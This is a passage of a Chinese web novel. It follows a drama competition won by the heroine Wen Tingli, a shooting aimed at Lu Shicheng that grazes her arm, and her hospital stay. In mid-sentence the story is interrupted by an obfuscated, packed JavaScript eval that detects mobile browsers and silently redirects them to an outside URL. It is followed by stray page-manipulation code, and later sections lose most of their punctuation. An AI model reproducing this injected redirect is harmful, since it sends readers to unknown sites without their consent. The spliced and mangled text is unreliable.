按照剧本,徐维安将饰演一位五十岁的陈姓富翁,陈翁做人的信条是“宁可我负天下人,不可天下人负我”,尽管他富可敌国,却也树敌颇多,他生平最大的缺憾是早年带家人逃难时不慎跟儿子走散,为此,这些年一直在找寻儿子的下落,最后一场戏,是陈翁误将亲生儿子当作敌人派来的细作枪杀,得知面前这死去的年轻人竟是自己苦寻多年的小儿子之后,陈翁震骇地跌坐在尸首旁。 徐维安思考数秒才下台。 轮到乐知文上台抽签时,剧院一下子炸开了,掌声如潮水般哗啦啦啦涌向剧院的各个角落,观众们纷纷从座位上立起来鼓掌,就连楼上的雅间也有不少人激动到探出上半身朝台上的乐知文招手。 见此情景,侧台几个工作人员低声感叹:“还是黄姐有远见,特地将抽签和表演两个环节分开,还没正式比赛,现场氛围就搞得这样火热。” 乐知文抽到的是“九号”。林会长宣布:“你要表演的剧目是《狼兄虎弟》。” 在该剧本里,乐知文名叫莉莉,是一名过气演员。 莉莉本是孤儿,幼时被养父母送去戏班子学戏,一次演出时,因歌喉和身段出众被某位名导演相中,在该导演的邀请下莉莉出演了某部影片的女主角,从此得爆大名,身价也跟着水涨船高。 趁此机会,莉莉养父母生的几个儿子主动提出担任她的保镖,养父母也以怕莉莉大手大脚花钱为由,将莉莉的全部收入牢牢把在手中。 在那之后,莉莉拍一部火一部,一跃成为最当红的女明星,养父母开始担心再这样下去,莉莉早晚会脱离他们的管束,某个儿子便出主意说不如引诱莉莉吸大烟,人一旦吸上了大烟,就不愁不好管教了(注)。 莉莉染上烟瘾后,拍戏时经常迟到,还频频忘记戏词,渐渐地,片约越来越少,这一天,她好不容易在朋友的推荐下获得了一个试镜机会,结果惨遭淘汰,回到家后,可怕的烟瘾再一次找上了她,她备受折磨,偏在这时,养父母带着儿子们闯进她的寓所趁火打劫,莉莉怀着强烈的恨意冲上去…… 林会长朗读完九号剧本,全场集体陷入了哑默,这场戏先不说情感上的激烈程度,光是表演技巧上的难度就堪称今晚之最。 可那毕竟是乐知文,别人做不到的,她能做到。短暂的寂静过后,剧院沸腾起来,观众们兴奋得交头接耳,那嗡嗡嗡的声浪压都压不住,主持人充满期待发问:“乐同学都听清了?” 乐知文平静颔首。 “好了,十套剧目已公布完毕,所有配戏演员均已在后台等候。” 乐知文一下台,立马有助手和化妆师提着巨大的衣箱簇拥着乐知文下去换装。 兆先生跑过来对剩下的选手说:“快,台上要搭景了,你们先跟我到后台化妆,还有,把你们自备的戏服拿走,主办方早将十套剧本的戏服都备好了。” 给十号闻亭丽准备的服装是一件灰色的粗布棉袍,底下是一双破棉鞋。闻亭丽试了试妆,棉袍略嫌宽大,棉鞋倒是不大不小。 由于时间有限,化妆师帮闻亭丽随便盘了个光秃秃的圆髻就算完妆了。 赵青萝在三号剧本里要扮演的是一位富家小姐,化妆师却仅仅用鬈发卷帮她做了个简略的西式头。 相应地,徐维安和乐知文自带的化妆师却是各显神通。短短十来分钟,徐维安就从一个翩翩少年化成了一位脸上沟壑横生的老年男人。 而乐知文化完妆后,饱满的脸颊一下凹陷下去,眼睛下方的两个眼袋仿佛厚厚脂粉也遮盖不住,一看就知是个“瘾-君子”。 闻亭丽和赵青萝看得暗暗称奇,她们没有自备的化妆师,只得互相帮着补充妆容。闻亭丽帮赵青萝画上招摇的眼线,赵青萝则用偏褐色的粉底仔仔细细遮去闻亭丽的红唇,又把闻亭丽盘得过紧的圆髻弄乱些,拾掇一番,后仰着头左右一看:“嗯,这才像个走投无路的母亲。” 两人分头去找配戏的演员对台词,排练了十来分钟,工作人员过来催促:“赵青萝,赵青萝!到你了!” 赵青萝慌忙对闻亭丽说:“你就别出去看我表演了,趁这工夫跟帮你配戏的前辈好好排练。” 工作人员又举起手中的襁褓:“十号剧本的选手在哪?这是你的道具。” 闻亭丽忙上前接过襁褓,再回头,赵青萝已经上台了。 外面一会儿安静如坟,一会儿又掌声如雷,相较之下,化妆间像个与世隔绝的安静船舱,选手们都紧张得大气不敢出,没多久,兆先生亲自过来延请徐维安:“徐先生,到你了。” 闻亭丽对着镜子默默排练了半晌,仍不见赵青萝回到后台,只得寻到外头去。 台上,徐维安的表演已经进行到了最高潮的一幕。 他孤独地跪坐在舞台一隅,面前是一具“尸首”,颤抖着抬起手,又落下,再抬起,却缩回,最后他不敢置信抚摸上尸首的面庞,垂头低泣起来,那哭声是如此悲哀,惹得台下观众情不自禁跟着啜泣。 全程只有短短的几句台词,却把一位野心家的震惊、悔恨、绝望演绎得淋漓尽致。 表演完毕,黄远山带头起立喝彩,第二排的导演们也赞声不断,十位评委中,有七位给出了满分。 主持人卖力地扯开喉咙。“恭喜徐维安获得目前全场的最高分。” 紧接着上台的是秀德的一位选手,她抽中的是喜剧剧目。 小姑娘很有喜剧天赋,表演的过程中剧院里不时发出爆笑声,唯一不足之处就是吐词不清晰,这个缺点本来不算突出,但因为跟在以台词著称的徐维安后面上场,这缺点就被无限放大了,尽管现场观众们的反响很不错,最终得分却不高。 八号选手一下台,主持人的声调再也掩不住亢奋:“接下来——让我们有请九号选手乐知文。” 闻亭丽凝神望着舞台,这时,底下忽有一名场务弓着腰碎步进来对第一排的黄远山说了句什么,黄远山一凛,急忙朝楼上的雅座走去。 闻亭丽好奇地望向那个方向,就看到有个人遥遥在东首的一边坐下了。邻旁两套雅间都空着,那位置像是专为他一个人而留。 他整个人坐在阴影中,但他的面孔似乎正对着舞台中央。 米歇尔等人见陆世澄来了,纷纷离席往楼上去。 闻亭丽待要细看几眼,剧场里灯光倏地一暗,台上的帷幕静静拉开,一个女孩慢慢从阴影中走出来。 舞台的地板明明很平整,女孩却像是踩在泥淖中,每一步都走得沉重而无力,推门进屋后,她背靠在门上,呆呆望着虚空的某一点,发怔。 尽管没有多余的表情,但观众立刻感知到台上的人身上散发出来的绝望。那绝望是如此揪心,撕扯着每个人的心弦。 偌大的剧院,一时间针落可闻。 半黑暗中,那木雕一般的女孩忽然一个激灵,低下头飞快在提包里找寻起来,那急不可待的样子,透着几分诡异。 很快,莉莉摸出一根香烟和一包洋火,抖着手点烟,但因为颤得太厉害,点了好几次才点着。 猛吸几口烟,焦躁却丝毫未减,莉莉扳着自己的胳膊,趔趔趄趄奔到沙发上坐下,但没用,尽管烟叼在口里,她的身体却依旧抖瑟个不停,终于,她不受控制地倒在了地上。 “咚”的一声,一听就知道摔得不轻。 影迷们不由得发出惊叫:“乐小姐。” “莉莉”继续在地上痛苦地滚动,一时挺身如弓,一时佝偻如虾,才几下,衣裳和脸庞就沾满了灰尘,终于她再也抵挡不住那诱惑,朝一个立柜爬去,哆哆嗦嗦向上摸索了一阵,在一个抽屉里摸出一块乌黑的烟膏和一根烟管。 一口大烟吸进去,“莉莉”脸上浮现出快意的表情,可紧接着,她就痛苦地抱头哭了起来。 再麻木的观众,也能听出哭声里的痛恨。女孩痛恨大烟,痛恨自己的命运,可怜的是没人能帮她一把。 忽然,舞台侧方出现一群人,为首的那个,一脚将房门踢开。 进屋看到地上的莉莉,人群中最高大的汉子对老者说:“爹,你看,莉莉又犯烟瘾了,这样下去她早晚把手边那点家产败光,不如我们把这一屋子的东西全搬回家吧。” 老者假惺惺地叹息一声:“搬吧搬吧。” 一群人就这样长驱直入,没一个人关心莉莉的死活。 那汉子撬开抽屉翻出一堆银票,莉莉使出浑身力气扑过去抱住他的腿:“你们这群强盗!不是你们害我,我能变成这幅鬼样子吗!别动我的钱!” 汉子一脚将莉莉踹到地上:“什么你的钱,要不是我们家收养你,你能有今天?” 莉莉仰头瞪着面前的所谓“亲人”,眼神渐渐由愤怒、痛楚、变为怨毒,她迅速回身从那装着烟膏的抽屉里取出一把袖珍手枪,对准面前的“亲人”,毫不犹豫地扣动了扳机。 面前的人一脸震惊,纷纷应声倒地,莉莉却歇斯里底地闷笑起来,笑声震荡着每个人的鼓膜,让人头皮发麻。 全场哑默无声,这一幕明明毛骨悚然,却透着无限的悲凉,不知过了多久,舞台后方传来鼓掌的声音,原来徐维安表演完之后并未离去,而是全程看完了乐知文的表演。 他心悦诚服地带头鼓掌。 全场爆发出骤雨般的掌声。 闻亭丽掌心都拍红了,不愧是乐知文,技巧、台词、肢体动作,全都无可挑剔。 随着乐知文出来谢幕,剧院的氛围燃到了顶点,主持人又是抬手示意,又是插科打诨,费了好大的劲才让剧院安静下来。 “请大家暂且平复一下激动的情绪,别忘了比赛还未结束,接下来——让我们有请十号选手。” 岂料底下一阵骚动,不少观众应声而起。 大多数人都是奔着乐知文和徐维安来的,两位明星的表演已经结束,比赛结果已经没有悬念了,剩下的节目,他们毫无兴趣。 更令人想不到的是,现场有一部分徐维安的影迷,因为不服气评委会给乐知文的分数更高,竟以集体离场来表达抗议。 一眨眼工夫,竟有三分之一的观众离开了座位。更可怕的是,受这氛围的感染,剩下的观众也在犹豫要不要提前离场。 闻亭丽踌躇满志准备上台,见此情形,不由傻了眼,幸而马上有剧院工作人员出来稳定观众情绪:“诸位先生、女士们,天气炎热,我们黄金剧院为每位观众准备了清甜的绿豆莲子汤,大家可一边享用甜品,一边欣赏下面的表演。” 这一举动仅仅留住了一小部分观众,剩下那些仍戴帽的戴帽、穿衣的穿衣,预备离座而去。 黄远山见势不妙,忙冲底下焦急地挥了挥手,兆先生疾步走到舞台中央,朗笑着说:“先生们、女士们,有个好消息要告诉大家,比赛结束后还有隆重的颁奖典礼,今晚的冠亚季军均会上台领奖,届时会抽取两名幸运观众与前三名合影。” 这话有奇效,大部分人都住了步。 黄远山又对主持人使了个手势,主持人趁机说道:“接下来让我们有请十号选手上台。” 场内灯光再次熄灭,观众席却吵闹如前,人们要么忙着吃甜品,要么忙着争论徐维安和乐知文刚才的表演谁更精彩,总之谁都没空往舞台上看。 忽然间,一个女人出现在舞台上。 与前面的乐知文相比,这位女演员的妆容十分粗糙,哪怕遥立在舞台上,也能看出是个小姑娘,但她一举一动毫无小姑娘的朝气,相反,她整个人都暮气沉沉。 只见这妇人肩上背着一个包袱,怀中抱着襁褓,一边走,一边狼狈地张望着什么。 走着走着,妇人肩上的包袱一不小心掉下来,东西哗啦啦撒了一地,有剪刀、有衣裳、还有鞋底……这想必是女人和孩子的全部家当。 女人蹲下地飞快拾掇包袱,同时不耐烦地拍一下怀中的襁褓:“再吵,姆妈快要累死了!” 这声呵斥惟妙惟肖,活脱脱就是个被生活压得喘不上来气的妇人。 剧院里慢慢安静下来,因为所有人都从这妇人身上感到了一股深深的疲惫和焦灼感,如此逼真,实难想象台上的选手最多只有十八九岁。 骂完这一句,阿香又心疼起来:“好了好了,乖囡囡,姆妈知道你难受,马上快到诊所了,叫大夫打打针就好了。”忽然她愕然用嘴贴了贴孩子的额头,惶然道:“怎么越来越烧了?!黄包车……黄包车……我的孩子快不行了!” 她的慌乱和不安是那样逼真,令全场的心都跟着悬了起来。 这时,一个提着行李箱的男人出现在舞台侧方,阿香抱着孩子本是六神无主,冷不丁看见男人,脚下不自主绊了一下。 男人昂首张望,仿佛在人群里找寻着什么人。 阿香浑身发抖,疾步绕着男人走了半圈。 男人一转头,阿香又亦步亦趋跟着他绕向另一边。 等到看清楚男人的正脸,女人瞬间露出狂喜的表情:“金生!” 男人应声回头。 “真是你!”她欣喜地抱着孩子朝男人走去,“乖囡快醒醒,那是你爹!” 然而,没等阿香跑到跟前,便见一个年轻女郎欢笑着扑入男人的怀抱:“你在这儿等我多久了?” 阿香震讶地刹住脚步,女郎也顺着男子的目光发现了阿香。 两个人异口同声:“她是谁?!” 女郎忽然一甩手:“好哇,王金生,你骗我!你都有老婆孩子了,还敢厚着脸皮来追求我?我要告诉我父亲,说你骗我!” 王金生慌忙拦住女郎:“谁告诉你她是我老婆?!那只是我乡下的一个亲戚。” 阿香浑身一震,女郎挣脱陈金生跑了,王金生拔步欲追,阿香追上去拽住他的胳膊:“王金生!你把话说清楚!我是你的什么?” 才问一句,她的喉咙就似被眼泪和热气给堵住了,那声气让观众也跟着心酸。 容易动情的观众,早已掏出手帕,一边拭泪一边唾骂:“真是可恨呐!” 男人恼羞成怒把她推到地上:“走开!” 阿香跌坐在地上,就那样骇然望着男子离去的背影,呆半晌,愤恨地爬起来追上去:“王金生!你到底有没有良心?这两年你音讯全无,我和阿元是怎么过来的你知不知道?” 这时,她怀中的襁褓似是抽搐了一下,这令她面色一变,低头看一眼襁褓,手脚顿时慌乱起来:“阿元,阿元,王金生,你的孩子快死了!” 男人终于顿住脚步,阿香抢步上前,牢牢揪住他的胳膊:“快,带孩子去医院!求你!” 男人的注意力仍有一部分被远处的女郎占据着,一横心,从西装口袋里掏出几张银票:“行了行了,你先带孩子去医院,回头我再来找你们!” 银票在阿香脚边撒了一地,她在原地倒抽一口气,但她已经顾不上追丈夫了,忍着屈辱捡起那些银票,抱着孩子朝另一侧跑去。 舞台上灯慢慢暗下来,再亮灯时,就见阿香一个人抱着孩子木然坐在诊所的长凳旁边。 她的样子是那样呆滞,宛如一尊毫无生命力的雕像。 不一会,男人从暗处走了出来,四下里一张望,发现了阴影中的阿香。 “怎么样?”他有些不耐烦,“孩子好些了吗?” 阿香不吭声。 男人凑近看了眼襁褓,吓得险些跌坐到地上。 底下观众看得呼吸一窒。 阿香披头散发,吃吃地笑起来。 “死了……死了……” 男人畏惧地伸出手,欲把襁褓从阿香怀里抱出,阿香却沉着脸用力将男人推开,一步步向他逼近。 “你害的……你还我的阿元!” “你……”王金生手足无措,一步步往后退,“这不能怪我啊,刚才孩子明明就已经不行了!” 眼看被逼到了死角,他突然立起眼睛反骂起来:“你是怎么照看孩子的!” “啪”的一声,阿香扬手抽了男人一巴掌,男人被打得一个趔趄。 “啪——”又是第二下,待要打第三下时,王金生却一把扣住她的手腕把她推搡到一边。 “你这疯子。”他慌手慌脚跑开了。 阿香被推撞到一旁的长凳,怀中的“孩子”随之落到地上,对上孩子的面孔,阿香浑身一颤,呆坐在地上,目光和表情渐渐像蒙上了一层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961373|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰,忽然间,她像瞎子一般在地上摸索起来,边摸,边冲王金生的背影柔声唤道:“金生,你掉了东西。” 王金生很不耐烦地扭头看,谁知这时候,阿香三步并作两步跑到他面前,冷不丁将一把剪刀刺入他的胸膛。 全场惊呼,有人甚至骇得站了起来,随着男人倒地,阿香握着剪刀惶惑地向后退去。 她目光散乱,向左急跑一步,又向右边急急跑两步,一副丧魂落魄的样子。 手一松,手里的剪刀锵然落到地上。 周围似乎围上了许多人,阿香白着脸朝四周张望,突然想起什么,再次跪下去将孩子紧抱到自己怀中,亲昵地把脸贴上去。 渐渐地,她露出甜蜜的微笑,举起手中的襁褓,对着虚空的四周絮絮地说:“我们阿元是个乖宝宝,平时我出去做事,我的阿元总是不吵不闹等姆妈回家,她还会帮姆妈拧毛巾,帮妈妈打洗脸水,从来不哭……听人说,这样懂事的孩子是来报恩的,我是不是好福气?” 观众席有人忍不住痛哭起来, 台上的阿香丧魂落魄地痴立半晌,慢慢背过身去,幽魂一般从地上的男人尸首跨过去,如同跨过地上的一滩泥,忽一下,她加快步伐,义无反顾冲向马路。 只听一声凄厉的刹车声,阿香重重跌倒地上,临死之际,依旧紧紧抱着孩子。 帘幕缓缓掩去台上的光景,戏院里沉默异常,有人在低声啜泣,有人在用帕子抹眼睛,有人在不甘心地咒骂,每个人的胸口都堵着闷胀的情绪。那情绪介于苦和酸之间,难以言喻,直到台下第一声鼓掌响起,全场才爆发激烈的喝彩声。 掌声久久不停,谁能想到,这样富有感染力的场景和台词都是选手临时设计出来的。 到了下一个打分的环节,评委们却起了争执,有人坚持认为乐知文的表演更到位,有的评委却认为十号选手的演绎更打动人心。她的哭或笑,似能直抵人的心底,让人不由自主跟着悲、跟着喜。 这是一种天赋。 由于评委们争执得太激烈,过了十几分钟都没有商量出个结果。观众席不时发出嘈嘈切切的议论声,大家都等得心焦。 有人眼睛一亮:“打分了打分了。” 十号选手闻亭丽,险胜一分。 剧院里一片哗然。 林会长代表十位评委发言:“两位选手对人物的理解十分深刻,在九号戏中,乐知文的表演极为打动人心,无论是主角烟瘾发作的状态,还是情感遭到冲击时眼神的细微变化,都被她演绎得淋漓尽致。 “而十号选手则为我们呈现了完整、细腻、感人至深的一场表演。在我们看来,二位的实力难分伯仲,均为今晚之冠。但考虑到十号选手是一位没有受过专业训练的新人,评委们愿意给这位新人多一点鼓励分数。” 这话一出口,观众席上的争议登时平息不少。 话讲得那样漂亮,连乐知文的影迷都没话说。 闻亭丽在黑暗的侧台忐忑等待消息,听到这结果,脸上没来及绽放出灿烂的笑容,赵青萝便狂喜地奔过来搂住她的脖子:“听到了吗?闻亭丽!你是第一名!你是第一名!” 闻亭丽喜极而泣,两个人像孩子似的抱在一起手舞足蹈。 选手们陆续过来道喜:“闻亭丽,祝贺你。” 面对着一张张诚挚的面孔,闻亭丽心房里充满了欢喜,忙不迭说:“谢谢。” 忽然间,人群向两边错开,乐知文走了过来。乐知文平日里总是不苟言笑,这会儿脸上也是淡淡的,仿佛她体内的爆发力和情绪都只为舞台而留。 她到近前认认真真打量闻亭丽一番,由衷地说:“你很棒。” 短短三个字,让闻亭丽眼眶莫名一热:“谢谢!” 徐维安走过来,大大方方跟闻亭丽握手:“祝贺。” 虽骄傲,却也诚恳,扭头一看,乐知文已经走远了,他插着裤兜追上去:“输了没有不开心吧?喂,我请你去仙乐丝吃夜宵。” 乐知文掉头转向另一个方向,现场工作人员忍不住笑着摇摇头。 颁奖时,闻亭丽荣光满面接过林会长颁发的奖品,除了一个金光闪闪的奖杯,还有一台全新的德国宝纳华相机。 台下“砰砰砰”不断发出怪响,那是一群报社的记者拿着西式摄影机在对着她拍照。 闻亭丽站在光影中,高举着自己的奖杯,笑容甜得像蜜。 黄远山笑吟吟对电影协会的同仁们说:“诸位前辈不再怪我为了一场话剧比赛大费周章了吧,瞧瞧,我们不但吸引到了一批对戏剧感兴趣的年轻人,还在这场比赛中发现了一个表演天才!” 闻亭丽和赵青萝刚下台,郑主任就冲过来一把搂住她们:“刚才你们比赛的时候,先生大气都不敢出。到后头闻亭丽等分的环节,我真是紧张得要昏过去了。” 又指了指后方:“米歇尔校长也来了,走,过去打个招呼。” 米歇尔刚好从二楼雅座下来,却只遥遥立在那里冷淡地一点头,就随同其他校长向出口方向走去。 闻亭丽下意识抬头朝二楼雅座看,才发现陆世澄已不在那儿了,兆先生跑过来对人群中的黄远山低声说:“有个董事要过来跟陆小先生谈事情,陆小先生准备在后面贵宾室里歇一歇,大概要等外头彻底清净了再走。” 黄远山面色凛然:“快沏茶,我稍后就来。” 这厢郑主任继续开心地提议:“燕珍珍她们在出口等你们,等下我们到对面的仙乐丝吃些冰淇淋再走,老师请客。” 正说着,报社的记者要过来采访闻亭丽,赵青萝和郑主任自觉地担任起了监护人的责任:“感谢诸位抬爱,闻同学是我们务实女子中学的学生,要采访她可以,但要提前跟我们艺术部报备,烦请见谅,她还是个学生,多谢多谢……明天是周末……请各位礼拜一再联系务实艺术部。” 工作人员护送闻亭丽和赵青萝回后台卸妆。弄完后从侧门走出剧院,一阵凉爽的夜风吹过来,闻亭丽一低头,惊道:“呀,我的书包落在后台了,等我一下,我回去拿。” 她沿着原路跑回去。 比起先前的热闹,这会剧院里安静不少,她的心仍沉浸在获胜的欢喜中,风一般掠回到化妆室,却没找到自己的书包,忙出来问人,恰巧有个年轻的场记路过,看到闻亭丽,他一改先前的敷衍态度,热络打招呼说:“闻小姐。” 闻亭丽忙问他有没有看见自己的书包。 “噢,刚才有好几个选手落了东西在这,兆先生让人统一收起来了,要不你去问问兆先生,他在二楼对账呢,走廊尽头开着门的那间就是。” 闻亭丽道声谢,又寻到二楼去。二楼走廊上铺着猩红色的厚地毯,踏上去,悄然无声。 两边大约有十来个房间,但没有一间房开着门,刚要扬声喊“兆先生”,闻亭丽就看见右手边的房门漏出一点明亮的光。 她料定兆先生在内,转身推门而入。 看到室内景象,闻亭丽却一下子怔在门口。 那是一间极其宽阔的房间,左侧摆着一张杏色皮沙发,沙发上坐着一个人。 这人的衬衣口袋里挂着一块打簧表。闻亭丽平日逛过不少百货商场,认得那是一个极昂贵的瑞士牌子,但眼前这一块表似乎分外奢贵,因为表盖上嵌着浓翠欲滴的翡翠,一看就是特制的。 视线再往上抬,她愣住了,陆世澄! 但面前这个陆世澄仿佛跟她往日见过的大不一样,她推门而入的一瞬间,他整个人正静静地散发出一股子冷气,那双安静的眼睛里更满含冰冷的嘲讽。 然而,等到看清楚进来的是她,他明显愣了一下。 电光石火间,闻亭丽已然看清了陆世澄手上举着的东西,那是一把手枪,黑洞洞的枪口正对准了她的胸口。 闻亭丽脑中一空,忙不迭要退回到走廊,陆世澄却便起身朝她走来,闻亭丽白着脸直摆手:“你……我……” 话音未落,陆世澄纵身一跃,将她拽到自己怀里,搂着她飞快向一侧滚去。 只听背后传来“砰”的一声,什么东西擦过闻亭丽的左臂,击中一旁的椅子。 陆世澄将闻亭丽的脑袋往自己胸前一压,反手朝门口-射出好几枪。 闻亭丽只听得耳边“砰砰”作响,心脏几乎要从嗓子眼里蹦出来, 正当这时,廊道里出现杂沓的脚步声。 “怎么回事?那是枪响吗?” “好像是!有人跑了! “别追,当心中枪,快,先去巡捕房报警!” 闻亭丽脑子再乱,这会儿也知道明白过来刚才发生了什么事,从她这个角度看过去,能清楚地看到不远处的椅子上有个弹孔在冒烟。 这一看,冷汗涔涔而下,要不是刚才陆世澄拉着她一躲,这枚从后方射来的子弹想必已经穿透她的胸膛。 她想动,才发现自己仍被陆世澄压着。 有人闯进来了:“陆先生,刚才怎么回事。” 陆世澄一把将闻亭丽拉起来,低眉在她身上一扫,确认这女孩身上并未伤处,带着些歉意冲她点点头,握着枪便要追出去。 闻亭丽刚要说话,惊觉自己的左臂火烧火燎,联想到刚才那颗子弹,只当自己受了枪伤,吓得眼泪直飙,捂住那处眼泪汪汪地说:“痛痛痛,好痛。” 陆世澄回头。 灯光下,闻亭丽的脸色白得像纸。他眉头微蹙,蹲下来帮她检查伤处。 闻亭丽却因为惊吓过度,一味死死捂着伤口。 陆世澄好不容易才拽开闻亭丽的手,一看,掌心竟沾上了血。 闻亭丽的脸色更难看了,难道刚才那一枪还是打中了?她该不会就此变成残疾吧,顿时灰心至极,耷拉着胳膊任由陆世澄帮自己检查。 陆世澄凝神用枪管轻轻把闻亭丽残破的袖管向上一挑,露出雪白滚圆的一截胳膊。 是有血,但只是极浅的一片。 细看,仅是皮外伤。 再抬眸,闻亭丽已哭成了个泪人。 第 17 章 很会照顾人的陆公... 闻亭丽方才又惊又怕,这会儿意志力已经濒临崩溃,想想自己这一两个月的遭遇,眼泪止都止不住。哭了大约两三分钟,有人在她面前晃了晃手,闻亭丽透过厚厚的泪膜依稀看见陆世澄望着自己。 他耐心地示意闻亭丽自己看伤处。 闻亭丽低头看去,一片刺心的红映入眼帘,心中一痛,抽抽嗒嗒又哭起来。 陆世澄低头从口袋里取出一支袖珍钢笔和一张银票,飞快写了几个字递给闻亭丽。 这回闻亭丽看明白了。 上面写着:别担心,只是皮外伤,我让人即刻送你去医院。 闻亭丽的泪珠就那样悬在了眼眶里,愣愣地把视线从银票上移到陆世澄的脸上。 陆世澄的样子冷静如前,但眼底隐约有笑影,只是那笑意丝毫不显得冒犯。 他看闻亭丽总算不哭了,便冲她点点头,再次直起身。 闻亭丽却怔怔地想,怎么会有人舍得在银票上写字? 忽听黄远山在外头道:“你们都挤在这干吗,陆先生人呢?” 原来黄远山已经找来了巡捕,刚闯进来,她脚下一个趔趄:“闻亭丽?!你怎么也在这儿?你没事吧?” 与黄远山一同闯进来的还有几个男子,一进来便紧张地围住陆世澄上下察看。 陆世澄抬手表示自己没事,接着就将目光定在最前头一个穿深灰色西装的中年男子,中年男子忙低声对他说:“抓住了。” 陆世澄眼底闪过一丝讽意,刚要走,又回身指了指屋里的闻亭丽。 “灰西装”一早就注意到了地上的闻亭丽,一时也猜不准这小姑娘跟陆世澄的关系,看她似乎受了伤,忙点头:“好,我们马上把这位小姐送到医院去。” 陆世澄指了指自己的胳膊。 “灰西装”稍想几秒,试探着说:“让大夫用爱克斯光替这位小姐看看骨头?(注)” 陆世澄点点头,越过人群向外走,没想到一位外国巡捕从外头冲过来“想走?此地刚发生枪杀案,所有人都得配合巡捕房录口供。” 陆世澄瞧都没瞧对方一眼,径直朝楼下方向去了。 那外国警察愣了愣,一脸恼恨追上去:“你小子,居然敢不把法租界的巡捕放在眼里,你给我站住!” 恰在此时,另一位年长些的巡捕进也闯进来,见状,忙不迭喝住自己的同事。 随即转过脸,对“灰西装堆起满脸笑容:“我这位新来的伙计不大懂事,让邝先生见笑了。 原来这“灰西装姓邝,邝先生面色稍霁:“散了吧,不过是陆家的一点家事,白白让巡捕房的诸位大人虚惊一场。 “邝先生快别这么说,惩恶锄奸本是我等的职责。 洋人仿佛觉得扫了面子,忽一指地上的闻亭丽:“这位小姐必然知道刚才发生了什么,这样吧,我们带她回去问个话。 邝先生再次开腔:“这位小姐受了伤,我们需得将她尽快送去医院治疗。 他的语气始终很温和,态度却透着不容拒绝的意味,说完这话便吩咐手下:“周威,把这位小姐扶到车上去。 那年长的巡捕拽走那洋人向外走:“咋咋唬唬做什么,快走,这儿没我们的事了。 有几个人便要弄一张沙发椅来把闻亭丽抬上去。闻亭丽这会儿已彻底醒了神,忙摆手说不必,那位邝先生看闻亭丽自行站稳了,便温声说:“敢问小姐贵姓? “她姓闻。黄远山如梦初醒,“她是今天晚上话剧大赛的选手之一。 又补充道:“冠军。 “在下邝志林,闻小姐可以叫我老邝。刚才你也瞧见了,陆小先生走前特地叮嘱我们将闻小姐送医院仔细检查,车已备妥,闻小姐可以下楼了。 “可以捎我回慈心医院吗?我可以到那边做检查。我父亲和妹妹现在都在慈心,我怕他们会担心我。 “可是,慈心医院没有爱克斯光机,陆小先生正是因为担心闻小姐的骨头受了伤,才特叮嘱我们送闻小姐去惠群医院的。 闻亭丽担忧地碰了碰自己的左边胳膊,顿觉火烧火燎。邝志林察言观色,宽慰她道:“先治病再说,令尊和令妹那边,我们会派人前去安抚的。 黄远山也劝她:“枪伤不是小事,还是稳妥些好。 下楼上了车,闻亭丽忽又探出脑袋对黄远山说:“黄姐,务实的先生和同学还在大门口等我,烦请你帮我转告她们一声。 到了惠群医院大夫迅速帮闻亭丽处理伤口又连夜给她拍了艾克斯光片确定骨头没事外科的一帮大夫便亲自把她送回病房。 闻亭丽知道自己没什么大碍之后 她嘴甜笑容更甜几句话就跟大家混熟了。两名大夫笑着摇头:“你也太急了你受的可是火药伤虽不重但也怕感染少说也要观察一两晚才能让你走。” 说话间到了病房那位邝先生像是已在里头等候多时了他迎上来跟外科主任寒暄几句对闻亭丽说:“令尊那边邝某已经去打过招呼了闻小姐只管安心在此接受治疗一切等伤势好转再说。” 他身后摆着一屋子的水果和补品几瓣剥完的暹罗文旦澄透得像红宝石就那样静静地摆放在果碟里。 另有一箱箱的牛奶和维琪牌矿泉水(注)整整齐齐摆放在闻亭丽触手可及的地方。 闻亭丽被这阵仗吓了一跳:“一点小伤而已何必劳烦您如此费心明天一早我应该就可以出院了。” 邝先生却知趣地退到走廊上:“不打搅闻小姐休息了外头有陪护闻小姐晚间有不舒服随时可以叫人。” 闻亭丽还要说话护士就拿着吊瓶过来护士一走病房里就只剩闻亭丽一个。她坐在床上对着一屋子的瓜果补品发愣。 陆家人做事一向这样周到吗? 眼前的这一切就跟那位不肯说话的陆世澄一样周到、斯文、安静却又无可挑剔。 瞧着瞧着闻亭丽不由得把手伸向床头柜水果她一样都没动只拿起一瓶矿泉水喝了几口。 忽瞟见某瓶矿泉水下面压着一张银票。 抽出看正是陆世澄先前写过字的那张多半是先前不小心遗落在了车上又被那位邝先生当作她的东西给送了进来。 闻亭丽高高举起银票对着光看哪怕是在那样混乱的境地下写的笔触也是干净有力。 也只有陆世澄这样的人才会在情急之下将钞票当作便笺来使用她叹着气 仰面躺进被窝里。 刚才在急诊室包扎时她曾鼓起全部勇气偷瞄过自己的伤口左臂上一块皮都燎没了红嫩红嫩的伤口触目惊心光是被子弹擦过就有这么大的威力真不敢相信被击中会如何。 假如这颗子弹本是冲陆世澄去的那人分明想要陆世澄的命。 奇怪的是看邝先生的态度摆明了不想让法租界巡捕房插手此事这实在匪夷所思谁不想将暗算自己的凶手绳之于法呢? 对了他们待她这样细致周到除了因为她是受了陆世澄的牵连才受伤会不会也在暗示她不要在在外头乱说今晚的事? 这样一想闻亭丽松弛的神经又紧绷起来。胡乱想了一会好不容易才睡着。 一觉醒来鼻端闻到一股热腾腾的香气闻亭丽只当自己在做梦翻个身要继续睡却因碰到伤口痛得叫了一声。 “闻小姐。”有人推门进来了“是不是伤口痛了?我这就去帮你叫大夫。” 是一个陪护模样的妇人后面还跟着一个护士。 闻亭丽坐起身才发现床尾的桌子上摆着一盘盘的早餐。 这也太丰盛了。 那陪护看闻亭丽盯着早餐直发愣忙笑着说:“是邝先生一早令人送来的。” 趁着护士检查闻亭丽伤口的空隙把餐盘里的食盒一一打开呈给闻亭丽看:“闻小姐先看看合不合口味?若看着不喜欢 闻亭丽有些无措:“不必这就很好。您吃过早餐了吗?要不我们一起吃?喔对了我得去打个电话。” 